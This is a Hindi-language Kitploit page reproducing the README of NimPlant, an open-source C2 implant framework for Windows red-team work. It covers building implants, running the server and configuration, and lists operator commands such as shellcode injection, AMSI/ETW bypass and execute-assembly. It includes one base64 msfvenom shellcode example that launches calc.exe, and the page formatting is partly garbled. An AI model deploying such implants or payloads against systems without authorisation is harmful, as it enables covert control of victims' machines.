Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
NimPlant — एक हल्का पहला-चरण C2 इम्प्लांट जो Nim (और Rust) में लिखा गया है। | Kitploit
उपकरण/GitHubGitHub/chvancooten/nimplant
भेद्यता परीक्षण फ्रेमवर्कपेलोड जनरेशनपोस्ट-शोषणकमांड एंड कंट्रोलरेड टीमिंग
GitHubchvancooten/nimplant

NimPlant

एक हल्का पहला-चरण C2 इम्प्लांट जो Nim (और Rust) में लिखा गया है।

रिपॉजिटरी देखें
9511161 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

NimPlant - एक हल्का प्रथम-चरण C2 इम्प्लांट जो Nim|Rust और Python में लिखा गया है

GitHub कार्यप्रवाह स्थिति PRs स्वागत है

Cas van Cooten (@chvancooten द्वारा), कुछ शानदार लोगों को विशेष धन्यवाद:

Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl), Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher), और कई अन्य!

यदि NimPlant आपके लिए उपयोगी रहा है और/या आपको मेरा काम सामान्य रूप से पसंद है, तो आपका समर्थन बहुत स्वागत योग्य है:

स्पॉन्सर करें GitHub पर

सुविधा अवलोकन

  • Nim और Rust प्रोग्रामिंग भाषाओं में लिखा गया हल्का और कॉन्फ़िगरेबल इम्प्लांट
  • सुंदर वेब GUI जो आपके सभी ऑप्स के दौरान आपको कूल दिखाएगा
  • डिफ़ॉल्ट रूप से सभी ट्रैफ़िक का एन्क्रिप्शन और संपीड़न, इम्प्लांट आर्टिफैक्ट्स में स्टैटिक स्ट्रिंग्स को अस्पष्ट करता है
  • कई इम्प्लांट प्रकारों के लिए समर्थन, जिसमें नेटिव बायनरी (exe/dll), शेलकोड या स्व-हटाने वाली एक्ज़ीक्यूटेबल शामिल हैं
  • स्थानीय एनुमरेशन, फ़ाइल या रजिस्ट्री प्रबंधन, और वेब इंटरैक्शन सहित प्रारंभिक-चरण संचालन पर केंद्रित कमांड का व्यापक चयन
  • inline-execute, shinject (डायनामिक इनवोकेशन का उपयोग करके), कस्टम रनस्पेस में powershell, या इन-थ्रेड execute-assembly के माध्यम से अधिक उन्नत कार्यक्षमता या पेलोड की आसान तैनाती
  • किसी भी प्लेटफ़ॉर्म पर संचालन के लिए समर्थन, इम्प्लांट केवल x64 Windows को लक्षित करता है
  • सभी इंटरैक्शन और फ़ाइल संचालन की व्यापक लॉगिंग
  • बहुत कुछ, नीचे देखें :)

निर्देश

स्थापना

Nimplant चलाने के लिए Python3 का एक आधुनिक संस्करण आवश्यक है।

सर्वर

  • सर्वर फ़ोल्डर से requirements.txt स्थापित करें (pip3 install -r server/requirements.txt).

इम्प्लांट (Nim)

  • अपने प्लेटफ़ॉर्म के लिए Nim टूलचेन स्थापित करें (choosenim के माध्यम से स्थापना अनुशंसित है, क्योंकि apt के पास हमेशा नवीनतम संस्करण नहीं होता है).
  • Nimble पैकेज मैनेजर का उपयोग करके आवश्यक पैकेज स्थापित करें (cd client; nimble install -d).
  • यदि आप Linux या MacOS पर हैं, तो अपने प्लेटफ़ॉर्म के लिए mingw टूलचेन स्थापित करें (brew install mingw-w64 या apt install mingw-w64).
  • यदि आप विशेष रूप से ArchLinux पर हैं, तो इस gist के अनुसार अपने Mingw कॉन्फिग को संशोधित करें (@tothi का धन्यवाद!).

इम्प्लांट (Rust)

  • Rust टूलचेन स्थापित करें (rustup के माध्यम से स्थापना अनुशंसित है).
  • MinGW विंडोज टार्गेट स्थापित करें: rustup target add x86_64-pc-windows-gnu.
  • बढ़ी हुई ऑप्सेक के लिए अनुशंसित: ~/.cargo/config.toml फ़ाइल को Cargo.toml के अनुसार संशोधित करें और नाइटली बिल्ड चेन का उपयोग करें (rustup default nightly).

नोट: भले ही Windows पर कंपाइल कर रहे हों, x86_64-pc-windows-gnu टार्गेट अनुशंसित है। इसके परिणामस्वरूप थोड़ी बड़ी बायनरी बनती हैं, लेकिन जब परिणामी DLL से शेलकोड उत्पन्न होता है तो यह अधिक स्थिर दिखाई देता है। आप टार्गेट को x86_64-pc-windows-msvc में बदलने के लिए rust-toolchain.toml को संशोधित कर सकते हैं, लेकिन उत्पन्न शेलकोड सभी मामलों में सही ढंग से काम नहीं कर सकता है।

आरंभ करना

कॉन्फ़िगरेशन

NimPlant का उपयोग करने से पहले, कॉन्फ़िगरेशन फ़ाइल config.toml बनाएं। config.toml.example को कॉपी करके वहां से काम करने की अनुशंसा की जाती है।

सेटिंग्स का अवलोकन नीचे प्रदान किया गया है।

संकलन

एक बार कॉन्फ़िगरेशन आपकी पसंद के अनुसार हो जाने पर, आप अपने लक्ष्य पर तैनात करने के लिए NimPlant बायनरी उत्पन्न कर सकते हैं। वर्तमान में, NimPlant क्रमशः (स्व-हटाने वाली) एक्ज़ीक्यूटेबल, लाइब्रेरी और स्थिति-स्वतंत्र शेलकोड (sRDI के माध्यम से) के लिए .exe, .dll, और .bin बायनरी का समर्थन करता है। उत्पन्न करने के लिए, अपनी पसंदीदा बायनरी (exe, exe-selfdelete, dll, raw, या all) और, वैकल्पिक रूप से, इम्प्लांट प्रकार (nim, rust, nim-debug, या rust-debug - डिफ़ॉल्ट रूप से Nim कंपाइल करेगा) के बाद python nimplant.py compile चलाएं। फ़ाइलें क्रमशः client/bin/ या में लिखी जाएंगी।

आप कंपाइलेशन के दौरान एक नई XOR कुंजी उत्पन्न और उपयोग करने के लिए rotatekey तर्क पास कर सकते हैं।

नोट्स:

  • NimPlant इस समय केवल x64 का समर्थन करता है!

  • DLL फ़ाइलों के लिए एंट्रीपॉइंट Update है, जो DllMain द्वारा सभी एंट्रीपॉइंट के लिए ट्रिगर होता है। इसका मतलब है कि आप ट्रिगर करने के लिए rundll32 .\NimPlant.dll,Update का उपयोग कर सकते हैं, या इसे साइडलोड करने के लिए अपने पसंदीदा LOLBIN का उपयोग कर सकते हैं (client/NimPlant.nim या client-rs/src/lib.rs में कुछ संशोधनों की आवश्यकता हो सकती है)``` PS C:\NimPlant> python .\nimplant.py compile all

    root@kitploit:~
                *    *(#    #
                **  **(##  ##
       ########       (       ********
      ####(###########************,****
         # ########       ******** *
         .###                   ***
         .########         ********
         ####    ###     ***    ****
       ######### ###     *** *********
     #######  ####  ## **  ****  *******
     #####    ##      *      **    *****
     ######  ####   ##***   **** .******
     ###############     ***************
          ##########     **********
             #########**********
               #######********
    

    | \ | () __ ___ | _ | | __ _ _ __ | |_ | | | | '_ _ \| |_) | |/ _ | '_ | __| | |\ | | | | | | | __/| | (| | | | | | || _||| || ||| ||_,|| ||_|

    root@kitploit:~
      A light-weight stage 1 implant and C2 based on Nim|Rust and Python
      By Cas van Cooten (@chvancooten)
    

Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant

Done compiling! You can find compiled binaries in 'client/bin/'.

root@kitploit:~
### Docker के साथ संकलन

Docker का उपयोग करना आसान है और निर्भरता संबंधी समस्याओं से बचाता है, क्योंकि कंटेनर में सभी आवश्यक बिल्ड-टाइम और रनटाइम निर्भरताएँ पहले से स्थापित होती हैं।

Docker का उपयोग करने के लिए, आप [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) से सार्वजनिक `chvancooten/nimplant` कंटेनर का उपयोग कर सकते हैं (CI/CD के माध्यम से निर्मित), या स्रोत से `Dockerfile` बना सकते हैं।

> स्रोत से निर्माण करने के लिए, मुख्य निर्देशिका से निम्नलिखित चलाएँ:
> 
> ```bash
> docker build . -t nimplant
> ```

इससे `nimplant:latest` टैग वाला एक कंटेनर बनेगा। ध्यान दें: विकास निर्भरताओं के कारण इसमें कुछ समय लग सकता है और एक बड़ा कंटेनर बन सकता है!

एक बार यह हो जाने के बाद, आप अपने आर्टिफैक्ट्स को संकलित करने के लिए कमांड लाइन से कंटेनर चला सकते हैं।```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust

नोट: यह एक उदाहरण कमांड है, सुनिश्चित करें कि आप अपनी स्थिति के अनुसार माउंटेड वॉल्यूम जैसे आर्गुमेंट्स को समायोजित करें।

सर्वर प्रारंभ करना

जब आपके पास आपके बाइनरी तैयार हों, तो आप अपना NimPlant सर्वर चालू कर सकते हैं! यदि आपने स्थानीय रूप से कंपाइल किया है, तो कोई अतिरिक्त कॉन्फ़िगरेशन आवश्यक नहीं है क्योंकि यह उसी config.toml फ़ाइल से पढ़ता है। सर्वर लॉन्च करने के लिए, बस python nimplant.py server चलाएँ (लिनक्स पर चलाने पर sudo विशेषाधिकारों के साथ)। आप एक बार Nimplant चेक इन करने पर कंसोल का उपयोग कर सकते हैं, या वेब इंटरफ़ेस तक http://localhost:31337 (डिफ़ॉल्ट रूप से) पर पहुँच सकते हैं।

नोट्स:

  • यदि आप अपने NimPlant सर्वर को उस मशीन से बाहरी रूप से चला रहे हैं जहाँ बाइनरी कंपाइल किए गए हैं, तो सुनिश्चित करें कि config.toml और .xorkey दोनों मेल खाते हैं। यदि नहीं, तो NimPlant कनेक्ट नहीं हो पाएगा।

  • वेब फ्रंटएंड या API प्रमाणीकरण का समर्थन नहीं करते हैं, इसलिए सुरक्षित रिवर्स प्रॉक्सी के बिना फ्रंटएंड पोर्ट को किसी भी अविश्वसनीय नेटवर्क पर नहीं खोलें!

  • यदि NimPlant किसी सर्वर से कनेक्ट नहीं हो पाता या कनेक्शन खो देता है, तो यह पुनः पंजीकरण का प्रयास करने से पहले एक्सपोनेंशियल बैकऑफ़ समय के साथ 5 बार पुनः प्रयास करेगा। यदि यह 5 और बार पंजीकरण करने में विफल रहता है (समान बैकऑफ़ तर्क), तो यह स्वयं को समाप्त कर लेगा। बैकऑफ़ प्रत्येक असफल प्रयास पर स्लीप समय को तिगुना कर देता है। उदाहरण के लिए, यदि स्लीप समय 10 सेकंड है, तो यह 10, फिर 30 (3^1 * 10), फिर 90 (3^2 * 10), फिर 270 (3^3 * 10), फिर 810 सेकंड प्रतीक्षा करेगा इससे पहले कि वह हार मान ले (ये पैरामीटर हार्डकोडेड हैं लेकिन client/NimPlant.nim में बदले जा सकते हैं)।

  • लॉग server/logs निर्देशिका में संग्रहीत होते हैं। प्रत्येक सर्वर इंस्टेंस एक नया लॉग फ़ोल्डर बनाता है, और लॉग प्रति कंसोल/nimplant सत्र में विभाजित होते हैं। डाउनलोड और अपलोड (वेब GUI के माध्यम से अपलोड की गई फ़ाइलों सहित) क्रमशः server/uploads और server/downloads निर्देशिकाओं में संग्रहीत होते हैं।

  • Nimplant और सर्वर विवरण server/nimplant.db पर एक SQLite डेटाबेस में संग्रहीत होते हैं। इस डेटा का उपयोग सर्वर पुनरारंभ के बाद Nimplants को पुनर्प्राप्त करने के लिए भी किया जाता है।

  • लॉग, अपलोड/डाउनलोड की गई फ़ाइलें, और डेटाबेस को cleanup फ़्लैग के साथ चलाकर साफ किया जा सकता है। सावधानी: यह सब कुछ हटा देगा, इसलिए पहले अपनी आवश्यक चीज़ों का बैकअप लेना सुनिश्चित करें!``` PS C:\NimPlant> python .\nimplant.py server

[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.

root@kitploit:~
यह C2 API और प्रबंधन वेब सर्वर (उपरोक्त उदाहरण में `http://127.0.0.1:31337` पर) और NimPlant लिसनर (उपरोक्त उदाहरण में `https://0.0.0.0:443` पर) दोनों को प्रारंभ करेगा। जब कोई NimPlant चेक इन करता है, तो आप NimPlant को कमांड भेजने के लिए वेब इंटरफ़ेस और कंसोल दोनों का उपयोग कर सकते हैं।

### Docker के साथ सर्वर प्रारंभ करना

वही `chvancooten/nimplant` कंटेनर जिसका उपयोग संकलन के लिए किया जा सकता है, का उपयोग NimPlant सर्वर चलाने के लिए भी किया जा सकता है। NimPlant को सर्वर पहचानने के लिए, `config.toml` और `.xorkey` फ़ाइलों को उस मशीन से मेल खाना चाहिए जहाँ NimPlant संकलित किया गया था (यह स्वचालित रूप से सही है यदि आपने संकलन के लिए उसी Docker कंटेनर का उपयोग किया है)। इसके अलावा, `config.toml` फ़ाइल को Docker के लिए सही ढंग से कॉन्फ़िगर करने की आवश्यकता है, विशेष रूप से प्रबंधन सर्वर IP को `0.0.0.0` पर सेट किया जाना चाहिए ताकि Docker के माध्यम से उस तक पहुँचा जा सके (सुनिश्चित करें कि इसे अपने होस्ट पर केवल स्थानीय इंटरफ़ेस पर ही उजागर करें)।

आप नीचे दिए गए उदाहरण कमांड के साथ NimPlant सर्वर शुरू कर सकते हैं:```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server

नोट: यह एक उदाहरण कमांड है, सुनिश्चित करें कि आप अपनी स्थिति के अनुसार माउंटेड वॉल्यूम जैसे तर्कों को समायोजित करें।

Docker का उपयोग करके आप अधिक जटिल कॉन्फ़िगरेशन आसानी से सेट कर सकते हैं। उदाहरण के तौर पर, docker-example निर्देशिका में एक docker-compose.yml फ़ाइल है जो दिखाती है कि HTTPS और एक डमी लैंडिंग पेज का उपयोग करके NimPlant को Nginx रीडायरेक्टर के पीछे कैसे एक्सपोज़ किया जाए।

उपयोग

उपलब्ध कमांड इस प्रकार हैं। help [command] टाइप करके किसी भी कमांड के लिए विस्तृत सहायता प्राप्त कर सकते हैं। (GUI) से चिह्नित कुछ कमांड को वेब इंटरफ़ेस का उपयोग करते समय ग्राफिक रूप से कॉन्फ़िगर किया जा सकता है, यह बिना किसी तर्क के कमांड को कॉल करके किया जा सकता है।``` Command arguments shown as [required] . Commands with (GUI) can be run without parameters via the web UI.

cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.

root@kitploit:~
#### बीकन ऑब्जेक्ट फ़ाइलों (BOF) का उपयोग करना

**नोट: BOF स्वभावतः अस्थिर होते हैं, और दोषपूर्ण BOF चलाने या गलत तर्क या प्रकार पास करने से आपका NimPlant सत्र क्रैश हो सकता है! BOF तैनात करने से पहले उनका परीक्षण करना सुनिश्चित करें!**

NimPlant, शानदार [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) और [Coffee](https://github.com/hakaioffsec/coffee) (Rust) प्रोजेक्ट्स के कारण मेमोरी में BOF लोड करने का समर्थन करता है। BOF चलाने के लिए एक स्थानीय संकलित BOF ऑब्जेक्ट फ़ाइल (आमतौर पर `bofname.x64.o` जैसा कुछ कहा जाता है), एक एंट्रीपॉइंट (आमतौर पर `go`), और उनके संबंधित तर्क प्रकारों के साथ तर्कों की एक सूची की आवश्यकता होती है। तर्कों को एक स्पेस-सेपरेटेड `arg argtype` जोड़ी के रूप में पास किया जाता है।

तर्क "Zzsib" प्रारूप के अनुसार दिए जाते हैं, इसलिए ये `string` (उपनाम: `z`), `wstring` (या `Z`), `integer` (उपनाम: `int` या `i`), `short` (`s`), या `binary` (`bin` या `b`) हो सकते हैं। बाइनरी तर्क एक कच्चा बाइनरी स्ट्रिंग या base64-एन्कोडेड हो सकता है, खराब वर्णों से बचने के लिए बाद वाला अनुशंसित है।

उपयोग के कुछ उदाहरण (शानदार TrustedSec BOFs [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] का उदाहरण के रूप में उपयोग करते हुए) नीचे दिए गए हैं। ध्यान दें कि `inline-execute` (बिना तर्कों के) का उपयोग GUI में ग्राफिक रूप से कमांड को कॉन्फ़िगर करने के लिए किया जा सकता है।```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go

# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z

# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b

# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go            # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z       # OK      - arguments are passed as expected

पुश सूचनाएँ

डिफ़ॉल्ट रूप से, NimPlant server/util/notify.py में परिभाषित notify_user() हुक के माध्यम से पुश सूचनाओं का समर्थन करता है। डिफ़ॉल्ट रूप से, यह एक सरल Telegram सूचना को कार्यान्वित करता है जिसके लिए TELEGRAM_CHAT_ID और TELEGRAM_BOT_TOKEN पर्यावरण चर सेट होना आवश्यक है, तभी यह सक्रिय होगा। बेशक, कोड को अपनी स्वयं की पुश सूचना कार्यक्षमता के साथ आसानी से बढ़ाया जा सकता है। notify_user() हुक तब कॉल किया जाता है जब कोई नया NimPlant कनेक्ट होता है, और उसे NimPlant विवरण वाला एक ऑब्जेक्ट प्राप्त होता है, जिसे फिर इच्छानुसार पुश किया जा सकता है।

फ्रंटएंड का निर्माण

सामान्य उपयोगकर्ता के रूप में, आपको Nimplant के साथ आने वाले UI को संशोधित या पुनर्निर्माण करने की आवश्यकता नहीं होनी चाहिए। हालांकि, यदि आप परिवर्तन करना चाहते हैं, तो NodeJS स्थापित करें और ui निर्देशिका में रहते हुए npm install चलाएँ। फिर ui/build-ui.py चलाएँ। यह पैकेज प्राप्त करने, Next.JS फ्रंटएंड को संकलित करने और फ़ाइलों को Nimplant सर्वर के उपयोग के लिए सही स्थान पर रखने का ध्यान रखेगा।

प्रोडक्शन उपयोग और OPSEC पर एक शब्द

NimPlant को एक सीखने की परियोजना के रूप में विकसित किया गया था और पारदर्शिता और शैक्षिक उद्देश्यों के लिए जनता के लिए जारी किया गया था। एंटीवायरस या EDR चोरी नहीं आउट-ऑफ-द-बॉक्स इम्प्लांट(स) का लक्ष्य है। काफी हद तक, NimPlant अपने इरादों को छिपाने का कोई प्रयास नहीं करता है। इसके अतिरिक्त, दुरुपयोग को रोकने के लिए सुरक्षा उपाय किए गए हैं। दूसरे शब्दों में, बिना पूरी तरह से स्रोत कोड समीक्षा और संशोधनों के, NimPlant को प्रोडक्शन में ज्यों का त्यों उपयोग न करें! यह भी याद रखें कि, किसी भी C2 फ्रेमवर्क की तरह, कुछ कमांड चलाने के OPSEC फिंगरप्रिंट को तैनाती से पहले विचार किया जाना चाहिए। NimPlant को config.toml में riskyMode को false पर सेट करके OPSEC-जोखिम वाले कमांड के बिना संकलित किया जा सकता है।

समस्या निवारण

Nimplant के संकलित या चलने में विफल होने के कई कारण हैं। यदि आप समस्याओं का सामना करते हैं, तो कृपया निम्नलिखित प्रयास करें (क्रम में):

  • सुनिश्चित करें कि आपने ऊपर 'इंस्टॉलेशन' अनुभाग में वर्णित चरणों का पालन किया है, दोबारा जांचें कि सभी निर्भरताएं स्थापित हैं और संस्करण मेल खाते हैं
  • सुनिश्चित करें कि आपने ऊपर 'संकलन' अनुभाग में वर्णित चरणों का पालन किया है, और आपने किसी भी निर्भरता समस्या को दूर करने के लिए Docker कंटेनर का उपयोग किया है
  • server/logs निर्देशिका में किसी भी त्रुटि के लिए लॉग की जांच करें
  • कोई त्रुटि संदेश वापस आता है या नहीं यह देखने के लिए कंसोल और डीबग संदेशों (केवल .exe) के साथ संकलन करने हेतु nim-debug या rust-debug संकलन मोड आज़माएं
  • यह देखने के लिए कि क्या वही त्रुटि होती है, दूसरे OS से या दूसरे टूलचेन के साथ संकलन करने का प्रयास करें
  • यदि उपरोक्त सभी विफल हो जाते हैं, तो एक समस्या सबमिट करें। सुनिश्चित करें कि आप उपयुक्त बिल्ड जानकारी (OS, nim/rust/python संस्करण, निर्भरता संस्करण) और उपरोक्त समस्या निवारण चरणों के परिणाम शामिल करें। अपूर्ण समस्या बिना सूचना के बंद की जा सकती हैं।
टूल डाउनलोड करें
श्रेणीसेटिंगविवरण
serveripवह IP जिस पर C2 वेब सर्वर (API सहित) सुनेगा। यह recommend किया जाता है कि 127.0.0.1 का उपयोग करें, केवल 0.0.0.0 का उपयोग करें जब आपने C2 की सुरक्षा के लिए उचित फ़ायरवॉल या रूटिंग नियम सेट किए हों।
serverportवह पोर्ट जिस पर C2 वेब सर्वर (API सहित) सुनेगा।
listenertypeलिस्नर प्रकार, या तो HTTP या HTTPS। HTTPS विकल्प नीचे कॉन्फ़िगर किए गए हैं।
listenersslCertPathएक HTTPS प्रमाणपत्र फ़ाइल का स्थानीय पथ (उदा. LetsEncrypt CertBot के माध्यम से अनुरोधित या स्व-हस्ताक्षरित)। लिस्नर प्रकार 'HTTP' होने पर अनदेखा किया जाता है।
listenersslKeyPathसंबंधित HTTPS प्रमाणपत्र निजी कुंजी फ़ाइल का स्थानीय पथ। यदि सेट है तो NimPlant सर्वर चलाने पर पासवर्ड मांगा जाएगा। लिस्नर प्रकार 'HTTP' होने पर अनदेखा किया जाता है।
listenerhostnameलिस्नर होस्टनेम। यदि खाली नहीं है (""), तो NimPlant कनेक्ट करने के लिए इस होस्टनेम का उपयोग करेगा। सुनिश्चित करें कि आप इस होस्ट से NimPlant लिस्नर पोर्ट पर ट्रैफ़िक को ठीक से रूट कर रहे हैं।
listeneripलिस्नर IP। 'hostname' सेट होने पर भी आवश्यक है, क्योंकि इसका उपयोग सर्वर द्वारा इस IP पर पंजीकरण करने के लिए किया जाता है।
listenerportलिस्नर पोर्ट। 'hostname' सेट होने पर भी आवश्यक है, क्योंकि इसका उपयोग सर्वर द्वारा इस पोर्ट पर पंजीकरण करने के लिए किया जाता है।
listenerregisterPathURI पथ जहां नए NimPlants पंजीकरण करेंगे।
listenertaskPathURI पथ जहां से NimPlants कार्य प्राप्त करेंगे।
listenerresultPathURI पथ जहां NimPlants परिणाम सबमिट करेंगे।
nimplantriskyModeजोखिम भरे कमांड के समर्थन के साथ NimPlant कंपाइल करें। ऑपरेटर के विवेक पर। अक्षम करने से execute-assembly, powershell, shell और shinject का समर्थन हट जाएगा।
nimplantsleepMaskक्या Nimplants के लिए नियमित नींद कॉल के बजाय Ekko नींद मास्क का उपयोग करना है या नहीं। फिलहाल केवल नियमित एक्ज़ीक्यूटेबल के साथ काम करता है!
nimplantsleepTimeनए NimPlants के लिए डिफ़ॉल्ट नींद का समय सेकंड में।
nimplantsleepJitterनए NimPlants के लिए डिफ़ॉल्ट जिटर प्रतिशत में।
nimplantkillDateNimplants के लिए किल तिथि (प्रारूप: yyyy-MM-dd)। यदि यह तिथि बीत चुकी है तो Nimplants बाहर निकल जाएंगे।
nimplantuserAgentNimPlants द्वारा उपयोग किया जाने वाला user-agent। सर्वर भी NimPlant ट्रैफ़िक को मान्य करने के लिए इसका उपयोग करता है, इसलिए एक ऐसी UA चुनने की सिफारिश की जाती है जो असंगत न हो, लेकिन बहुत प्रचलित भी न हो।
client-rs/bin/
nimplant.py
root@kitploit:~
            *    *(#    #
            **  **(##  ##
   ########       (       ********
  ####(###########************,****
     # ########       ******** *
     .###                   ***
     .########         ********
     ####    ###     ***    ****
   ######### ###     *** *********
 #######  ####  ## **  ****  *******
 #####    ##      *      **    *****
 ######  ####   ##***   **** .******
 ###############     ***************
      ##########     **********
         #########**********
           #######********

| \ | () __ ___ | _ | | __ _ _ __ | |_ | | | | '_ _ \| |_) | |/ _ | '_ | __| | |\ | | | | | | | __/| | (| | | | | | || _||| || ||| ||_,|| ||_|

root@kitploit:~
  A light-weight stage 1 implant and C2 written in Nim|Rust and Python
  By Cas van Cooten (@chvancooten)